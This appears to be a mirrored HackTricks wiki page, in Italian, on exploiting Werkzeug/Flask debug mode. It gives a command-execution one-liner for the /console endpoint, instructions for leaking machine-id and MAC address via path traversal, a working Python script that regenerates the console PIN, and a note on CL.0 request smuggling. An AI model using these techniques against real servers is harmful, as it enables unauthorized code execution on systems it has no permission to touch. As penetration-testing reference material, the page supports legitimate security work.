mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
169 lines
7.2 KiB
Markdown
169 lines
7.2 KiB
Markdown
# Werkzeug / Flask Debug
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|
|
|
|
## Console RCE
|
|
|
|
Se il debug è attivo, potresti provare ad accedere a `/console` e ottenere RCE.
|
|
```python
|
|
__import__('os').popen('whoami').read();
|
|
```
|
|
.png>)
|
|
|
|
Ci sono anche diversi exploit su Internet come [questo](https://github.com/its-arun/Werkzeug-Debug-RCE) o uno in metasploit.
|
|
|
|
## Pin Protetto - Traversata del Percorso
|
|
|
|
In alcune occasioni, l'endpoint **`/console`** sarà protetto da un pin. Se hai una **vulnerabilità di traversata del file**, puoi leakare tutte le informazioni necessarie per generare quel pin.
|
|
|
|
### Exploit del PIN della Console di Werkzeug
|
|
|
|
Forza una pagina di errore di debug nell'app per vedere questo:
|
|
```
|
|
The console is locked and needs to be unlocked by entering the PIN.
|
|
You can find the PIN printed out on the standard output of your
|
|
shell that runs the server
|
|
```
|
|
Un messaggio riguardante lo scenario "console bloccata" viene visualizzato quando si tenta di accedere all'interfaccia di debug di Werkzeug, indicando la necessità di un PIN per sbloccare la console. Si suggerisce di sfruttare il PIN della console analizzando l'algoritmo di generazione del PIN nel file di inizializzazione del debug di Werkzeug (`__init__.py`). Il meccanismo di generazione del PIN può essere studiato dal [**Werkzeug source code repository**](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/__init__.py), anche se si consiglia di procurarsi il codice del server effettivo tramite una vulnerabilità di traversamento di file a causa di potenziali discrepanze di versione.
|
|
|
|
Per sfruttare il PIN della console, sono necessari due set di variabili, `probably_public_bits` e `private_bits`:
|
|
|
|
#### **`probably_public_bits`**
|
|
|
|
- **`username`**: Si riferisce all'utente che ha avviato la sessione Flask.
|
|
- **`modname`**: Tipicamente designato come `flask.app`.
|
|
- **`getattr(app, '__name__', getattr(app.__class__, '__name__'))`**: Generalmente si risolve in **Flask**.
|
|
- **`getattr(mod, '__file__', None)`**: Rappresenta il percorso completo a `app.py` all'interno della directory Flask (ad esempio, `/usr/local/lib/python3.5/dist-packages/flask/app.py`). Se `app.py` non è applicabile, **provare `app.pyc`**.
|
|
|
|
#### **`private_bits`**
|
|
|
|
- **`uuid.getnode()`**: Recupera l'indirizzo MAC della macchina corrente, con `str(uuid.getnode())` che lo traduce in un formato decimale.
|
|
|
|
- Per **determinare l'indirizzo MAC del server**, è necessario identificare l'interfaccia di rete attiva utilizzata dall'app (ad esempio, `ens3`). In caso di incertezze, **leak `/proc/net/arp`** per trovare l'ID del dispositivo, quindi **estrarre l'indirizzo MAC** da **`/sys/class/net/<device id>/address`**.
|
|
- La conversione di un indirizzo MAC esadecimale in decimale può essere eseguita come mostrato di seguito:
|
|
|
|
```python
|
|
# Esempio di indirizzo MAC: 56:00:02:7a:23:ac
|
|
>>> print(0x5600027a23ac)
|
|
94558041547692
|
|
```
|
|
|
|
- **`get_machine_id()`**: Concatenando i dati da `/etc/machine-id` o `/proc/sys/kernel/random/boot_id` con la prima riga di `/proc/self/cgroup` dopo l'ultima barra (`/`).
|
|
|
|
<details>
|
|
|
|
<summary>Codice per `get_machine_id()`</summary>
|
|
```python
|
|
def get_machine_id() -> t.Optional[t.Union[str, bytes]]:
|
|
global _machine_id
|
|
|
|
if _machine_id is not None:
|
|
return _machine_id
|
|
|
|
def _generate() -> t.Optional[t.Union[str, bytes]]:
|
|
linux = b""
|
|
|
|
# machine-id is stable across boots, boot_id is not.
|
|
for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":
|
|
try:
|
|
with open(filename, "rb") as f:
|
|
value = f.readline().strip()
|
|
except OSError:
|
|
continue
|
|
|
|
if value:
|
|
linux += value
|
|
break
|
|
|
|
# Containers share the same machine id, add some cgroup
|
|
# information. This is used outside containers too but should be
|
|
# relatively stable across boots.
|
|
try:
|
|
with open("/proc/self/cgroup", "rb") as f:
|
|
linux += f.readline().strip().rpartition(b"/")[2]
|
|
except OSError:
|
|
pass
|
|
|
|
if linux:
|
|
return linux
|
|
|
|
# On OS X, use ioreg to get the computer's serial number.
|
|
try:
|
|
```
|
|
</details>
|
|
|
|
Dopo aver raccolto tutti i dati necessari, lo script di exploit può essere eseguito per generare il PIN della console Werkzeug:
|
|
|
|
Dopo aver raccolto tutti i dati necessari, lo script di exploit può essere eseguito per generare il PIN della console Werkzeug. Lo script utilizza i `probably_public_bits` e `private_bits` assemblati per creare un hash, che viene poi sottoposto a ulteriore elaborazione per produrre il PIN finale. Di seguito è riportato il codice Python per eseguire questo processo:
|
|
```python
|
|
import hashlib
|
|
from itertools import chain
|
|
probably_public_bits = [
|
|
'web3_user', # username
|
|
'flask.app', # modname
|
|
'Flask', # getattr(app, '__name__', getattr(app.__class__, '__name__'))
|
|
'/usr/local/lib/python3.5/dist-packages/flask/app.py' # getattr(mod, '__file__', None),
|
|
]
|
|
|
|
private_bits = [
|
|
'279275995014060', # str(uuid.getnode()), /sys/class/net/ens33/address
|
|
'd4e6cb65d59544f3331ea0425dc555a1' # get_machine_id(), /etc/machine-id
|
|
]
|
|
|
|
# h = hashlib.md5() # Changed in https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0
|
|
h = hashlib.sha1()
|
|
for bit in chain(probably_public_bits, private_bits):
|
|
if not bit:
|
|
continue
|
|
if isinstance(bit, str):
|
|
bit = bit.encode('utf-8')
|
|
h.update(bit)
|
|
h.update(b'cookiesalt')
|
|
# h.update(b'shittysalt')
|
|
|
|
cookie_name = '__wzd' + h.hexdigest()[:20]
|
|
|
|
num = None
|
|
if num is None:
|
|
h.update(b'pinsalt')
|
|
num = ('%09d' % int(h.hexdigest(), 16))[:9]
|
|
|
|
rv = None
|
|
if rv is None:
|
|
for group_size in 5, 4, 3:
|
|
if len(num) % group_size == 0:
|
|
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
|
|
for x in range(0, len(num), group_size))
|
|
break
|
|
else:
|
|
rv = num
|
|
|
|
print(rv)
|
|
```
|
|
Questo script produce il PIN hashando i bit concatenati, aggiungendo sali specifici (`cookiesalt` e `pinsalt`), e formattando l'output. È importante notare che i valori effettivi per `probably_public_bits` e `private_bits` devono essere ottenuti con precisione dal sistema target per garantire che il PIN generato corrisponda a quello atteso dalla console di Werkzeug.
|
|
|
|
> [!TIP]
|
|
> Se sei su una **vecchia versione** di Werkzeug, prova a cambiare l'**algoritmo di hashing in md5** invece di sha1.
|
|
|
|
## Caratteri Unicode di Werkzeug
|
|
|
|
Come osservato in [**questo problema**](https://github.com/pallets/werkzeug/issues/2833), Werkzeug non chiude una richiesta con caratteri Unicode negli header. E come spiegato in [**questo writeup**](https://mizu.re/post/twisty-python), questo potrebbe causare una vulnerabilità di CL.0 Request Smuggling.
|
|
|
|
Questo perché, in Werkzeug è possibile inviare alcuni caratteri **Unicode** e questo farà **rompere** il server. Tuttavia, se la connessione HTTP è stata creata con l'header **`Connection: keep-alive`**, il corpo della richiesta non verrà letto e la connessione rimarrà aperta, quindi il **corpo** della richiesta sarà trattato come la **prossima richiesta HTTP**.
|
|
|
|
## Sfruttamento Automatizzato
|
|
|
|
|
|
{{#ref}}
|
|
https://github.com/Ruulian/wconsole_extractor
|
|
{{#endref}}
|
|
|
|
## Riferimenti
|
|
|
|
- [**https://www.daehee.com/werkzeug-console-pin-exploit/**](https://www.daehee.com/werkzeug-console-pin-exploit/)
|
|
- [**https://ctftime.org/writeup/17955**](https://ctftime.org/writeup/17955)
|
|
- [**https://github.com/pallets/werkzeug/issues/2833**](https://github.com/pallets/werkzeug/issues/2833)
|
|
- [**https://mizu.re/post/twisty-python**](https://mizu.re/post/twisty-python)
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|